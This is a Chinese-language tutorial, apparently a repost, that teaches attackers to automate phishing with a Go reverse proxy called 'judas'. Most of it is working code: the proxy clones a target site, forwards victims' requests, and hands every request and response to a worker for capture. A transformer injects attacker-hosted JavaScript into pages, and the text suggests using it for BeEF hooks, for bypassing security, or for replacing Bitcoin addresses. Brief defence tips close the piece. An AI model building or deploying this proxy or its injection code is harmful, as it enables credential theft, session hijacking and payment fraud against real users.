对于一个攻击者来说, 要想实施一次网络钓鱼攻击, 往往需要做大量的准备工作例如搭建钓鱼站点, 引诱受害者上钩, 捕获受害者的登录凭证等为了避免这些繁杂的过程, 本文我将教大家使用 Go 自动化这些过程
完整的代码和使用说明可以在 Github 查看: https://github.com/JonCooperWorks/judas
代理被用来钓鱼 TechOnRoad 用户你能看出它们之间的差别吗?
使用代理进行网络钓鱼
我们的代理需要接收来自受害者的请求, 并在发送到目标网站之前重写它们 Go 有着许多在原生层面对并发编程进行支持的优秀特性, 比如 GoroutinesChannels 等我们建立了一个简单的 TCP 侦听器, spawn 了一个新的 goroutine 来处理每个传入的连接和一个 goroutine worker 来处理请求和响应结果通过 channel 从请求处理 goroutine 传递给 worker
- // HTTPTransaction represents a complete request - response flow.
- type HTTPTransaction struct {
- Request *http.Request
- Response *http.Response
- }
- // PhishingProxy proxies requests between the victim and the target, queuing requests and responses for further processing.
- type PhishingProxy struct {
- client *http.Client
- targetURL *url.URL
- responseTransformers []ResponseTransformer
- }
- func main() {
- // ... flag parsing and whatnot
- phishingProxy := &PhishingProxy{
- client: client,
- targetURL: u,
- responseTransformers: responseTransformers,
- }
- transactions := make(chan *HTTPTransaction)
- go processTransactions(transactions)
- for {
- conn, err := server.Accept()
- if err != nil {
- log.Println("Error when accepting request,", err.Error())
- }
- go phishingProxy.HandleConnection(conn, transactions)
- }
- }
由于 Go 的优秀标准库, 请求处理非常简洁 http 包提供 ReadRequest 方法, 用于解析从连接中读取数据的请求
- defer conn.Close()
- reader := bufio.NewReader(conn)
- request, err := http.ReadRequest(reader)
- if err != nil {
- log.Println("Error parsing request:", err.Error())
- return
- }
将所有内容解析成 Golang http.Request 后, 我们将它传递给目标代理需要重写来自受害者的 HTTP 头, 以防止目标站点连接中断, 特别是主机头和 URL
- request.URL.Scheme = p.targetURL.Scheme
- request.URL.Host = p.targetURL.Host
- request.Host = p.targetURL.Host
- request.RequestURI = ""
- resp, err := p.client.Do(request)
- if err != nil {
- log.Println("Proxy error:", err.Error())
- return
- }
在代理上使用 HTTP 客户端, 我们发起请求并确保请求成功
一旦我们得到响应, 我们使用传递给代理的 ResponseTransformers(后面会详细介绍) 转换它, 使用标准库 httputil.DumpResponse 函数将响应转换为字节, 并将请求和响应发送给 goroutine worker 之后处理
- for _, transformer := range p.responseTransformers {
- transformer.Transform(resp)
- }
- modifiedResponse, err := httputil.DumpResponse(resp, true)
- if err != nil {
- log.Println("Error converting requests to bytes:", err.Error())
- return
- }
- _, err = conn.Write(modifiedResponse)
- if err != nil {
- log.Println("Error responding to victim:", err.Error())
- return
- }
- transactions <- &HTTPTransaction{
- Request: request,
- Response: resp,
- }
我们通过一个 channel 将 HTTP 事务传递给 worker, 以加快我们的操作进程避免受害者发生某些错误
只需指向该代理, 就能完美克隆目标网站
- // ResponseTransformer modifies a response in any way we see fit, such as inserting extra JavaScript.
- type ResponseTransformer interface {
- Transform(response *http.Response) error
- }
ResponseTransformer 允许你修改响应我们可以用它来任何想做的事情, 例如将自定义 JavaScript 注入到页面, 或者将比特币地址替换成我们自己的这对于那些在默认代理中无法 100%工作的网站也很有用
JavaScriptInjectionTransformer 使用 GoQuery 将 html 响应解析到 DOM 树中, 并使用我们传递给 transformer 的 URL 注入脚本标签我们可以使用它来注入 BeEF hook 或绕过网站的安全防护
- // JavaScriptInjectionTransformer holds JavaScript filename for injecting into response.
- type JavaScriptInjectionTransformer struct {
- javascriptURL string
- }
- // Transform Injects JavaScript into an HTML response.
- func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error {
- if !strings.Contains(response.Header.Get("Content-Type"), "text/html") {
- return nil
- }
- // Prevent NewDocumentFromReader from closing the response body.
- responseText, err := ioutil.ReadAll(response.Body)
- responseBuffer := bytes.NewBuffer(responseText)
- response.Body = ioutil.NopCloser(responseBuffer)
- if err != nil {
- return err
- }
- document, err := goquery.NewDocumentFromReader(responseBuffer)
- if err != nil {
- return err
- }
- payload := fmt.Sprintf("<script type='text/javascript'src='%s'></script>", j.javascriptURL)
- selection := document.
- Find("head").
- AppendHtml(payload).
- Parent()
- html, err := selection.Html()
- if err != nil {
- return err
- }
- response.Body = ioutil.NopCloser(bytes.NewBufferString(html))
- return nil
- }
如何防御?
这类的钓鱼攻击并不是没有破绽, 其实只要我们稍微细心观察, 就能避免掉落坏人的陷阱为此, 我向大家提出以下几点建议:
为你登录的网站添加书签, 并仅使用该书签访问该网站
即使看到绿色安全提示, 也要在登录前仔细检查网站的 URL 是否正常
仔细检查通过电子邮件发送给你的任何链接并谨慎点击
完整代码可在 GitHub 上查看 https://github.com/JonCooperWorks/judas
来源: http://www.tuicool.com/articles/neea2ib